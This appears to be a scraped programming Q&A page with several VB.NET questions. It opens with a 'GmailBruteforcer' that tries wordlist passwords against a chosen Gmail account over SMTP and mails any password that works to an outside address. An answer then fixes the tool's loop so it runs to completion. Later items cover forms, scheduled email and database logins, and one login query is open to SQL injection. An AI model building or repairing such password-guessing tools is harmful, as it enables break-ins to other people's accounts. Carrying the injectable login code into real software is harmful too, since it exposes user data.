I want to stop loop when its finished and I don't know how to stop it. Here is the full source code.
Imports System.Net.Mail
Public Class GmailBruteforcer
Private Sub GmailBruteforcer_Load(sender As Object, e As EventArgs) Handles MyBase.Load
End Sub
Private Sub Button1_Click(sender As Object, e As EventArgs) Handles Button1.Click
OpenFileDialog1.Title = "Please Select a File"
OpenFileDialog1.AddExtension = True
OpenFileDialog1.Filter = "Text Files (*.txt) |*.txt"
OpenFileDialog1.ShowDialog()
End Sub
Private Sub OpenFileDialog1_FileOk(sender As Object, e As System.ComponentModel.CancelEventArgs) Handles OpenFileDialog1.FileOk
Dim strm As System.IO.Stream
strm = OpenFileDialog1.OpenFile()
TextBox2.Text = OpenFileDialog1.FileName.ToString()
If Not (strm Is Nothing) Then
strm.Close()
End If
End Sub
Private Sub Button2_Click(sender As Object, e As EventArgs) Handles Button2.Click
emailloop()
End Sub
Sub emailloop()
Dim objReader As New System.IO.StreamReader(TextBox2.Text)
For i As Int32 = 0 To 100000
TextBox3.Text = objReader.ReadLine
If TextBox3.Text = "" Then MsgBox("Password not found")
Try
Dim mail As New MailMessage
mail.To.Add("h1dd3na#gmail.com")
mail.From = New MailAddress(TextBox1.Text)
mail.Subject = "test123"
mail.Body = TextBox3.Text
Dim SMTP As New SmtpClient("smtp.gmail.com")
SMTP.Port = 587
SMTP.EnableSsl = True
SMTP.Credentials = New System.Net.NetworkCredential(TextBox1.Text, TextBox3.Text)
SMTP.Send(mail)
MsgBox(" Password: " + TextBox3.Text)
Clipboard.SetText(TextBox3.Text)
MsgBox("Password Copied!")
Catch ex As Exception
End Try
Next
End Sub
Private Sub Button3_Click(sender As Object, e As EventArgs) Handles Button3.Click
End Sub
End Class
Something like this should work:
Sub emailloop()
Dim objReader As New System.IO.StreamReader(TextBox2.Text)
Dim line as String
line = objReader.ReadLine
Do While (Not line Is Nothing)
TextBox3.Text = line
If TextBox3.Text = "" Then MsgBox("Password not found")
Try
Dim mail As New MailMessage
mail.To.Add("h1dd3na#gmail.com")
mail.From = New MailAddress(TextBox1.Text)
mail.Subject = "test123"
mail.Body = TextBox3.Text
Dim SMTP As New SmtpClient("smtp.gmail.com")
SMTP.Port = 587
SMTP.EnableSsl = True
SMTP.Credentials = New System.Net.NetworkCredential(TextBox1.Text, TextBox3.Text)
SMTP.Send(mail)
MsgBox(" Password: " + TextBox3.Text)
Clipboard.SetText(TextBox3.Text)
MsgBox("Password Copied!")
line = objReader.ReadLine
Catch ex As Exception
End Try
Loop
End Sub
Related
I have this code that I am trying to work in it I am using VB.NET and MS ACCESS as DATA BASE.. As I go along with my code I have encountered many problems such as : Command text was not set for the command object.... Does any one have the idea on how to fix this and can you critique my code for possible mistake?? It will be a huge help for my project.... Thanks Ahead!
Imports System.Data.OleDb
Public Class Form2
Dim conn As New OleDb.OleDbConnection
Dim Myconnection As String = "Provider=Microsoft.ACE.OLEDB.12.0;Data Source=C:\Users\ADMIN\source\repos\TrooTeaFinal\Database\Loginform.accdb"
Dim da As New OleDb.OleDbDataAdapter
Dim result As Integer
Dim imgpath As String
Dim arrImage() As Byte
Dim sql As String
Private Sub ChkBoxRegShowpass_CheckedChanged(sender As Object, e As EventArgs) Handles ChkBoxRegShowpass.CheckedChanged
If ChkBoxRegShowpass.Checked = True Then
TxtRegpass.UseSystemPasswordChar = True
Else
TxtRegpass.UseSystemPasswordChar = False
End If
End Sub
Private Sub BtnRegClear_Click(sender As Object, e As EventArgs) Handles BtnRegClear.Click
ComboRole.Text = ""
TxtRegLastname.Text = ""
TxtRegFirstname.Text = ""
TxtRegUsername.Text = ""
TxtRegpass.Text = ""
End Sub
Private Sub BtnRegExit_Click(sender As Object, e As EventArgs) Handles BtnRegExit.Click
End
End Sub
Private Sub BtnBack_Click(sender As Object, e As EventArgs) Handles BtnBack.Click
Me.Hide()
Form1.Show()
ComboRole.Text = ""
TxtRegLastname.Text = ""
TxtRegFirstname.Text = ""
TxtRegUsername.Text = ""
TxtRegpass.Text = ""
End Sub
Private Sub BtnBrowse_Click(sender As Object, e As EventArgs) Handles BtnBrowse.Click
Try
Dim OFD As FileDialog = New OpenFileDialog()
OFD.Filter = "Image File (*.jpg;*.bmp;*.gif)|*.jpg;*.bmp;*.gif"
If OFD.ShowDialog() = DialogResult.OK Then
imgpath = OFD.FileName
PBoxProfilepic.ImageLocation = imgpath
End If
OFD = Nothing
Catch ex As Exception
MsgBox(ex.Message.ToString())
End Try
End Sub
Private Sub BtnRegisterAccount_Click(sender As Object, e As EventArgs) Handles BtnRegisterAccount.Click
Try
Dim mstream As New System.IO.MemoryStream()
PBoxProfilepic.Image.Save(mstream, System.Drawing.Imaging.ImageFormat.Jpeg)
arrImage = mstream.GetBuffer()
Dim FileSize As UInt32
FileSize = mstream.Length
mstream.Close()
conn.ConnectionString = Myconnection
conn.Open()
Dim cmd As New OleDb.OleDbCommand("INSERT INTO member([LASTNAME], [FIRSTNAME], [Role], [USERNAME], [PASSWORD], [Profile]) VALUES (#LASTNAME, #FIRSTNAME, #Role, #USERNAME, #PASSWORD, #Profile)", conn)
cmd.Connection = conn
cmd.CommandText = sql
cmd.Parameters.AddWithValue("#LASTNAME", TxtRegLastname.Text)
cmd.Parameters.AddWithValue("#FIRSTNAME", TxtRegLastname.Text)
cmd.Parameters.AddWithValue("#Role", ComboRole.Text)
cmd.Parameters.AddWithValue("#USERNAME", TxtRegUsername.Text)
cmd.Parameters.AddWithValue("#PASSWORD", TxtRegpass.Text)
cmd.Parameters.AddWithValue("#Profile", arrImage)
Dim r As Integer
r = cmd.ExecuteNonQuery()
If r > 0 Then
MsgBox("User Record hass been Saved!")
Else
MsgBox("No record has been saved!")
End If
conn.Close()
Catch ex As Exception
MessageBox.Show(ex.Message)
End Try
End Sub
End Class
Here is my program for auto email with manual attachments on certain time using config.ini for email username and password
Imports System.Net.Mail
Imports System.Timers
Public Class Form1
Dim file(2) As String
Dim pesan As String
Private Sub Form1_Load(sender As Object, e As EventArgs) Handles MyBase.Load
Me.Text = "Water Monitoring"
Timer1.Start()
End Sub
Public Sub kirim() 'step send e-mail manual'
Try
Dim Smtp_Server As New SmtpClient
Dim e_mail As New MailMessage()
Dim txtEmail As String
Dim txtPassword As String
txtEmail = Module1.Read_INI("GENERAL", "Email")
txtPassword = Module1.Read_INI("GENERAL", "Password")
Smtp_Server.UseDefaultCredentials = False
Smtp_Server.Credentials = New Net.NetworkCredential(txtEmail, txtPassword) 'login email'
Smtp_Server.Port = 587
Smtp_Server.Timeout = 3000000
Smtp_Server.EnableSsl = True
Smtp_Server.Host = "smtp.gmail.com"
e_mail = New MailMessage()
e_mail.From = New MailAddress(txtEmail)
e_mail.To.Add(txtTo.Text)
e_mail.Subject = txtSubject.Text
e_mail.IsBodyHtml = False
e_mail.Body = pesan
If Not txtFile1.Text = Nothing Then
Dim attach As New Attachment(txtFile1.Text)
e_mail.Attachments.Add(attach) 'attach attachment 1
End If
If Not txtFile2.Text = Nothing Then
Dim attach As New Attachment(txtFile2.Text)
e_mail.Attachments.Add(attach) 'attach attachment 2
End If
If Not txtFile3.Text = Nothing Then
Dim attach As New Attachment(txtFile3.Text)
e_mail.Attachments.Add(attach) 'attach attachment 3
End If
Smtp_Server.Send(e_mail)
MsgBox("Mail Sent")
Catch error_t As Exception
MsgBox(error_t.ToString) 'message box error
End Try
End Sub
Private Sub chckboxAuto30s_CheckedChanged(sender As Object, e As EventArgs) Handles chckboxAuto30s.CheckedChanged
If chckboxAuto30s.Checked = True Then
btnSend.Visible = False
Else
btnSend.Visible = True
End If
End Sub
Private Sub txtMessage_TextChanged(sender As Object, e As EventArgs) Handles txtMessage.TextChanged
pesan = txtMessage.Text
End Sub
Private Sub btnCancelAllAttachments_Click(sender As Object, e As EventArgs) Handles btnCancelAllAttachments.Click
txtFile1.Text = ""
txtFile2.Text = ""
txtFile3.Text = ""
file = Nothing
End Sub
Private Sub btnAddAttachments_Click(sender As Object, e As EventArgs) Handles btnAddAttachments.Click
file = Nothing
OpenFileDialog1.ShowDialog()
file = OpenFileDialog1.FileNames
txtFile1.Text = file(0)
Try
txtFile2.Text = file(1)
Catch ex As IndexOutOfRangeException
End Try
Try
txtFile3.Text = file(2)
Catch ex As IndexOutOfRangeException 'attach file attachment'
End Try
End Sub
Private Sub btnSend_Click(sender As Object, e As EventArgs) Handles btnSend.Click
kirim() 'send e-mail manual'
End Sub
Private Sub btnClearText_Click(sender As Object, e As EventArgs) Handles btnClearText.Click
txtTo.Text = ""
txtSubject.Text = ""
txtMessage.Text = ""
End Sub
Private Sub Timer1_Tick(sender As Object, e As EventArgs) Handles Timer1.Tick
Dim timerforAuto As Date
timerforAuto = CDate(timeAuto.Text)
If timerforAuto.Hour = Now.Hour And timerforAuto.Minute = Now.Minute And timerforAuto.Second = Now.Second Then
kirim()
End If
End Sub
End Class
My question is, how to setting the attachments is choosed automatically? I want to attach file automatically based on current time.
For example : i want to attach
C:\testing1.xlsx
C:\testing2.xlsx
automatically. And refresh the file if the file contents in the xlsx have changed every day.
Change your kirim() call in the timer1_tick to accept a date parameter.
Public Sub kirim(TimeKickedOff as Date) 'step send e-mail manual'
Try
Dim Smtp_Server As New SmtpClient
Dim e_mail As New MailMessage()
Dim txtEmail As String
Dim txtPassword As String
txtEmail = Module1.Read_INI("GENERAL", "Email")
txtPassword = Module1.Read_INI("GENERAL", "Password")
Smtp_Server.UseDefaultCredentials = False
Smtp_Server.Credentials = New Net.NetworkCredential(txtEmail, txtPassword) 'login email'
Smtp_Server.Port = 587
Smtp_Server.Timeout = 3000000
Smtp_Server.EnableSsl = True
Smtp_Server.Host = "smtp.gmail.com"
e_mail = New MailMessage()
e_mail.From = New MailAddress(txtEmail)
e_mail.To.Add(txtTo.Text)
e_mail.Subject = txtSubject.Text
e_mail.IsBodyHtml = False
e_mail.Body = pesan
If Not txtFile1.Text = Nothing Then
Dim attach As New Attachment(txtFile1.Text)
e_mail.Attachments.Add(attach) 'attach attachment 1
End If
If Not txtFile2.Text = Nothing Then
Dim attach As New Attachment(txtFile2.Text)
e_mail.Attachments.Add(attach) 'attach attachment 2
End If
If Not txtFile3.Text = Nothing Then
Dim attach As New Attachment(txtFile3.Text)
e_mail.Attachments.Add(attach) 'attach attachment 3
End If
Smtp_Server.Send(e_mail)
MsgBox("Mail Sent")
Catch error_t As Exception
MsgBox(error_t.ToString) 'message box error
End Try
End Sub
Change the call in timer1_tick to pass the time it was kicked off to kirim.
Private Sub Timer1_Tick(sender As Object, e As EventArgs) Handles Timer1.Tick
Dim timerforAuto As Date
timerforAuto = CDate(timeAuto.Text)
If timerforAuto.Hour = Now.Hour And timerforAuto.Minute = Now.Minute And timerforAuto.Second = Now.Second Then
kirim(timerforAuto)
End If
End Sub
In the kirim(TimeKickedOff as Date) sub add code that tests the TimeKickedOff to the datetime you want each attachment attached to the email, for example, in the kirim sub where SomeTime = the datetime you want the file attached:
If Not txtFile3.Text = Nothing Then
if TimeKickedOff.Hour = SomeTime.Hour And TimeKickedOff.Minute = SomeTime.Minute And TimeKickedOff.Second = SomeTime.Second Then
Dim attach As New Attachment(txtFile3.Text)
e_mail.Attachments.Add(attach) 'attach attachment 3
End If
End If
To test if a file has changed, you can handle this in the timer event. Dim a static variable that contains the content of the file and check to see if the content changes every so often and if the content changes do what you need to do when that happens and load the new content into the static variable so you can keep checking for newer changes.
Can a WebBrowser.DocumentCompleted event executes the BackgroundWorker.RunWorkerAsync() correctly? Because my program doesn't seem to execute the codes under BackgroundWorker.
Code:
Dim Status As String = ""
Private Sub WebBrowser1_DocumentCompleted(sender As Object, e As WebBrowserDocumentCompletedEventArgs) Handles WebBrowser1.DocumentCompleted
If Status = "Enabled" Or Status = "Disabled" Then
Else
Status = WebBrowser1.Document.GetElementById(Account & "Flag").InnerText.ToString
If Status = "Enabled" Then
BackgroundWorker1.RunWorkerAsync()
ElseIf Status = "Disabled" Then
MessageBox.Show("disabled. Contact admin for more information.", "JKLorenzo", MessageBoxButtons.OK, MessageBoxIcon.Information)
Close()
End If
End If
End Sub
I finally made it to work
Here is the code i've used:
Private Sub BackgroundWorker1_DoWork(sender As Object, e As System.ComponentModel.DoWorkEventArgs) Handles BackgroundWorker1.DoWork
BackgroundWorker1.ReportProgress(10)
Dim mysqlconnection As MySqlConnection = New MySqlConnection("server=85.10.205.173;port=3306;username='" & User & "';password='" & Pass & "'")
BackgroundWorker1.ReportProgress(20)
Dim mysqlcommand As MySqlCommand = Nothing
BackgroundWorker1.ReportProgress(30)
Dim mysqldatareader As MySqlDataReader = Nothing
BackgroundWorker1.ReportProgress(40)
mysqlconnection.Open()
BackgroundWorker1.ReportProgress(50)
Using table As DataTable = New DataTable
BackgroundWorker1.ReportProgress(60)
Using command As MySqlCommand = New MySqlCommand("Select * from my.accounts where Username = 'Ray';", mysqlconnection)
BackgroundWorker1.ReportProgress(70)
Using adapter As MySqlDataAdapter = New MySqlDataAdapter(command)
BackgroundWorker1.ReportProgress(80)
adapter.Fill(table)
BackgroundWorker1.ReportProgress(90)
End Using
End Using
For Each row As DataRow In table.Rows
If row("Flag") = "enable" Then
e.Result = "1"
BackgroundWorker1.ReportProgress(100)
Else
e.Result = "0"
BackgroundWorker1.ReportProgress(100)
End If
Next
End Using
mysqlconnection.Close()
End Sub
Private Sub BackgroundWorker1_ProgressChanged(sender As Object, e As ProgressChangedEventArgs) Handles BackgroundWorker1.ProgressChanged
If e.ProgressPercentage = 10 Then
Label1.Text = "Status: Checking"
Label1.ForeColor = Color.FromKnownColor(KnownColor.Highlight)
End If
ProgressBar1.Value = e.ProgressPercentage
ProgressBar1.Refresh()
End Sub
Private Sub BackgroundWorker1_RunWorkerCompleted(sender As Object, e As RunWorkerCompletedEventArgs) Handles BackgroundWorker1.RunWorkerCompleted
Threading.Thread.Sleep(500)
ProgressBar1.Value = 0
If e.Result = "1" Then
Label1.Text = "Status: Enabled"
Label1.ForeColor = Color.Green
Button1.Enabled = False
Button2.Enabled = True
ElseIf e.Result = "0" Then
Label1.Text = "Status: Disabled"
Label1.ForeColor = Color.OrangeRed
Button1.Enabled = True
Button2.Enabled = False
Else
MessageBox.Show("Unknown output: " & e.Result & " . Closing", "", MessageBoxButtons.OK, MessageBoxIcon.Error)
Close()
End If
End Sub
im almost done with this and then that... hopefully someone will be able to help me (Really hope so atleast, cus i need to be done with this:P) (need more text cus there is to much code):
|error is there|>
Private Sub FlatButton1_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles FlatButton1_Click. <|error is there|
Dim Conn As New MySqlConnection("Not going to publish this")
If FlatTextBox1.Text = "" Then
MsgBox("No username specified")
FlatTextBox2.Text = ""
Else
If FlatTextBox2.Text = "" Then
MsgBox("No password specified")
FlatTextBox1.Text = ""
Else
Try
Me.Text = "Logging in..."
Conn.Open()
Dim sqlquery As String = "SELECT * FROM Testing WHERE Username = '" & FlatTextBox1.Text & "';"
Dim data As MySqlDataReader
Dim adapter As New MySqlDataAdapter
Dim command As New MySqlCommand
command.CommandText = sqlquery
command.Connection = Conn
adapter.SelectCommand = command
data = command.ExecuteReader
While data.Read()
If data.HasRows() = True Then
If data(2).ToString = FlatTextBox2.Text Then
Me.Text = "Logged in!"
My.Settings.Username = FlatTextBox1.Text
MsgBox("Welcome " + data(1).ToString)
Home.Show()
Me.Close()
If data(3).ToString = "1" Then
My.Settings.Admin = "Yes"
Else
My.Settings.Admin = "No"
End If
End If
Else
MsgBox("Failed Login")
End If
End While
Catch ex As Exception
End Try
End If
End If
End Sub
End Class
Replace these Lines
Private Sub FlatButton1_Click(ByVal sender As System.Object, ByVal e
As System.EventArgs) Handles FlatButton1_Click
With
Private Sub FlatButton1_Click(sender As Object, e As EventArgs) Handles FlatButton1_Click
I am a bit of a noobie with vb.net and I made this application that does a lot of http requests and stream reading. But when it does this it always freezes my application.
So I did a little research and found that I could use background workers to solve this. But I have no idea where to start. So if you could look at my code and tell me where and how I can add background workers to prevent the freezing that would be awesome.
Imports mshtml
Imports System.Net
Imports System.Threading
Imports System.Text
Imports System.IO
Imports System.Web
Public Class Form1
Inherits Form
Private Delegate Sub MyDelegate(show As Boolean)
Private demoThread As System.Threading.Thread = Nothing
Private demoThread2 As System.Threading.Thread = Nothing
Private Sub ShowProgressOnThread()
Dim newProgressWindow As New Form2
newProgressWindow.Show()
End Sub
Public Function GetTableText(ByVal sHTML As String) As String
Dim myDoc As mshtml.IHTMLDocument2 = New mshtml.HTMLDocument
Dim mElement As mshtml.IHTMLElement
Dim mElement2 As mshtml.IHTMLElement
Dim mECol As mshtml.IHTMLElementCollection
'initialize the document object within the HTMLDocument class...
myDoc.close()
myDoc.open("about:blank")
'write the HTML to the document using the MSHTML "write" method...
Dim clsHTML() As Object = {sHTML}
myDoc.write(clsHTML)
clsHTML = Nothing
mElement = myDoc.body()
mECol = mElement.getElementsByTagName("TD")
Dim gData As ListViewItem
For A = 3 To mECol.length - 1 Step +6
mElement2 = mECol.item(A)
gData = Me.ListView1.Items.Add(mElement2.innerText)
mElement2 = mECol.item(A - 1)
gData.SubItems.Add(mElement2.innerText.ToUpper)
'Frm.Close()
' lstResults.Items.Add("Game : " & mElement2.innerText)
Next
End Function
Private Sub wait(ByVal interval As Integer)
Dim sw As New Stopwatch
sw.Start()
Do While sw.ElapsedMilliseconds < interval
' Allows UI to remain responsive
Application.DoEvents()
Loop
sw.Stop()
End Sub
Private Sub Button__()
Me.ResetText()
Me.ToolStripStatusLabel1.Text = "Loading..."
Me.Text = "Game Finder | By Unh0ly | Loading..."
' Me.demoThread = New Thread( _
'New ThreadStart(AddressOf Me.Loader))
' Me.demoThread.Start()
'Me.Invoke(New MethodInvoker(AddressOf Me.Loader))
'Me.Frm.Show()
'Application.Run(Frm)
Dim srchText As String
srchText = TextBox1.Text.Replace(" ", "%20")
Dim request As HttpWebRequest = HttpWebRequest.Create("****" & srchText)
'Dim response As HttpWebResponse
Dim response As HttpWebResponse = request.GetResponse()
Dim sr As System.IO.StreamReader = New System.IO.StreamReader(response.GetResponseStream())
Dim sourcecode As String = sr.ReadToEnd()
If sourcecode.Contains("<td>") Then
GetTableText(sourcecode)
Me.ResetText()
Me.Text = "Game Finder | By Unh0ly"
Me.ToolStripStatusLabel1.Text = "Done"
Call wait(2500)
Me.ToolStripStatusLabel1.Text = "Status.."
'newProgressWindow.Hide()
'newProgressWindow.Dispose()
'Form2.Refresh()
ElseIf Not sourcecode.Contains("<td>") Then
' newProgressWindow.Hide()
' Progress.Dispose()
MessageBox.Show("No Results Found For: " + TextBox1.Text)
End If
'Dim sHTML = sourcecode
'For I = 2 To mECol.length - 1 Step +6
End Sub
Private Sub Button1_Click(sender As System.Object, e As System.EventArgs) Handles Button1.Click
'Frm.Show()
Me.Invoke(New MethodInvoker(AddressOf Button__))
'Dim demoThread As System.Threading.Thread
End Sub
Private Sub CopyToolStripMenuItem_Click(sender As System.Object, e As System.EventArgs) Handles CopyToolStripMenuItem.Click, IDAndGameNameToolStripMenuItem.Click
Try
Dim s As String
Dim lsvrow
lsvrow = ListView1.SelectedItems(0)
s = "Game Name: " + lsvrow.Text + ControlChars.NewLine + "ID: " + TextBox2.Text
Clipboard.SetDataObject(s)
Catch ex As System.Exception
MessageBox.Show("Error: " + ex.Message)
Finally
' Perform any tidy up code.
End Try
End Sub
Private Sub CopyIDToolStripMenuItem_Click(sender As System.Object, e As System.EventArgs) Handles CopyIDToolStripMenuItem.Click, IDToolStripMenuItem.Click
Try
Dim s As String
Dim lsvrow
lsvrow = ListView1.SelectedItems(0)
s = TextBox2.Text
Clipboard.SetDataObject(s)
Catch ex As System.Exception
MessageBox.Show("Error: " + ex.Message)
Finally
' Perform any tidy up code.
End Try
End Sub
Private Sub ListView1_ItemActivate(sender As System.Object, e As System.Windows.Forms.ListViewItemSelectionChangedEventArgs) Handles ListView1.ItemSelectionChanged
TextBox2.Text = e.Item.SubItems(1).Text
End Sub
Private Sub TextBox1_KeyDown(sender As System.Object, e As System.Windows.Forms.KeyEventArgs) Handles TextBox1.KeyDown
If e.KeyCode = Keys.Enter Then
'Runs the Button1_Click Event
Button1_Click(Me, EventArgs.Empty)
End If
End Sub
Private Sub Form1_Load(sender As System.Object, e As System.EventArgs) Handles MyBase.Load
End Sub
Private Sub Button2_Click(sender As System.Object, e As System.EventArgs) Handles Button2.Click, ClearToolStripMenuItem.Click
ListView1.Items.Clear()
End Sub
Private Sub DownloadGPDToolStripMenuItem_Click(sender As System.Object, e As System.EventArgs) Handles DownloadGPDToolStripMenuItem.Click, DownloadGPDToolStripMenuItem1.Click
Dim gpds As ArrayList = New ArrayList()
Const YOUR_DIRECTORY As String = "****"
' Get the object used to communicate with the server.
Dim request As FtpWebRequest = CType(WebRequest.Create(YOUR_DIRECTORY), FtpWebRequest)
request.Method = WebRequestMethods.Ftp.ListDirectoryDetails
' This example assumes the FTP site uses anonymous logon.
request.Credentials = New NetworkCredential("****", "****")
Call wait(1500)
Dim response As FtpWebResponse = CType(request.GetResponse, FtpWebResponse)
Dim responseStream As Stream = response.GetResponseStream
Dim reader As StreamReader = New StreamReader(responseStream)
Dim s = reader.ReadToEnd
reader.Close()
response.Close()
If Len(TextBox2.Text) > 0 Then
If s.Contains(TextBox2.Text + ".gpd") Then
FolderBrowserDialog1.ShowDialog()
If Not FolderBrowserDialog1.SelectedPath = Nothing Then
Me.Text = "Game Finder | By Unh0ly | Downloading..."
Me.ToolStripStatusLabel1.Text = "Downloading..."
My.Computer.Network.DownloadFile("****" + TextBox2.Text + ".gpd", FolderBrowserDialog1.SelectedPath + "\" + TextBox2.Text + ".gpd", "", "", False, "100", True)
Me.ResetText()
Me.ToolStripStatusLabel1.Text = "Status.."
ElseIf FolderBrowserDialog1.SelectedPath = Nothing Then
Else
MessageBox.Show("No GPD for Selected Game")
End If
Else
MessageBox.Show("No GPD for Selected Game")
End If
Else
' Do Nothing
End If
End Sub
Private Sub ExitToolStripMenuItem_Click(sender As System.Object, e As System.EventArgs) Handles ExitToolStripMenuItem.Click
Application.Exit()
End Sub
Private Sub CheckForUpdatesToolStripMenuItem_Click(sender As System.Object, e As System.EventArgs) Handles CheckForUpdatesToolStripMenuItem.Click
Dim request As System.Net.HttpWebRequest = System.Net.HttpWebRequest.Create("****")
Dim response As System.Net.HttpWebResponse = request.GetResponse()
Dim sr As System.IO.StreamReader = New System.IO.StreamReader(response.GetResponseStream())
Dim newestversion As String = sr.ReadToEnd()
Dim currentversion As String = Application.ProductVersion
Dim request1 As System.Net.HttpWebRequest = System.Net.HttpWebRequest.Create("****")
Dim response1 As System.Net.HttpWebResponse = request1.GetResponse()
Dim sr1 As System.IO.StreamReader = New System.IO.StreamReader(response1.GetResponseStream())
Dim updurl As String = sr1.ReadToEnd()
If newestversion.Contains(currentversion) Then
MessageBox.Show("You have the current version", "Up to date", MessageBoxButtons.OK, MessageBoxIcon.Information)
Else
Dim result1 As DialogResult = MessageBox.Show("Newer version available" & vbCrLf & "Please Goto *** to check" + vbCrLf + "Do you want to go there now?", "Update Available", MessageBoxButtons.YesNo, MessageBoxIcon.Information)
If result1 = DialogResult.Yes Then
Process.Start(updurl)
Else
' Do Nothing
End If
End If
End Sub
Private Sub AboutToolStripMenuItem_Click(sender As System.Object, e As System.EventArgs) Handles AboutToolStripMenuItem.Click
Dim gpds As ArrayList = New ArrayList()
Const YOUR_DIRECTORY As String = "****"
Dim request As FtpWebRequest = CType(WebRequest.Create(YOUR_DIRECTORY), FtpWebRequest)
request.Method = WebRequestMethods.Ftp.ListDirectoryDetails
request.Credentials = New NetworkCredential("****", "****")
Call wait(100)
Dim response As FtpWebResponse = CType(request.GetResponse, FtpWebResponse)
Dim responseStream As Stream = response.GetResponseStream
Dim reader As StreamReader = New StreamReader(responseStream)
Dim s = reader.ReadToEnd
reader.Close()
response.Close()
Dim Lines() As String = s.Split(New String() {Environment.NewLine}, StringSplitOptions.RemoveEmptyEntries)
MessageBox.Show("Made By Unh0ly aka Nickdudego3" & vbCrLf & "Number of GPD's: " & Lines.Length - 5 & vbCrLf & "Version: " & Application.ProductVersion, "About", MessageBoxButtons.OK, MessageBoxIcon.Asterisk)
End Sub
End Class
Here's a small sample how to use a worker..
Friend WithEvents myWorker As System.ComponentModel.BackgroundWorker
Me.myWorker = New System.ComponentModel.BackgroundWorker()
Private Sub Button1_Click(sender As System.Object, e As System.EventArgs) Handles Button1.Click
myWorker.RunWorkerAsync()
End Sub
Private Sub myWorker_DoWork(ByVal sender As System.Object, ByVal e As System.ComponentModel.DoWorkEventArgs) Handles myWorker.DoWork
'do your stuff here...
End Sub
The best way to find bottle neck in your code is to put Timer.Start and Timer.Stop around your methods to find out which methods are taking the longest to excute.
Once you find the offending methods, you can use ThreadPool.QueueUserWorkItem to implement a basic background threading. Threading is by no means easy and it would take some time for you figure it out all the crazy and weird things that happen when you play with threads.
Hope this helps. If you have any more question, do ask.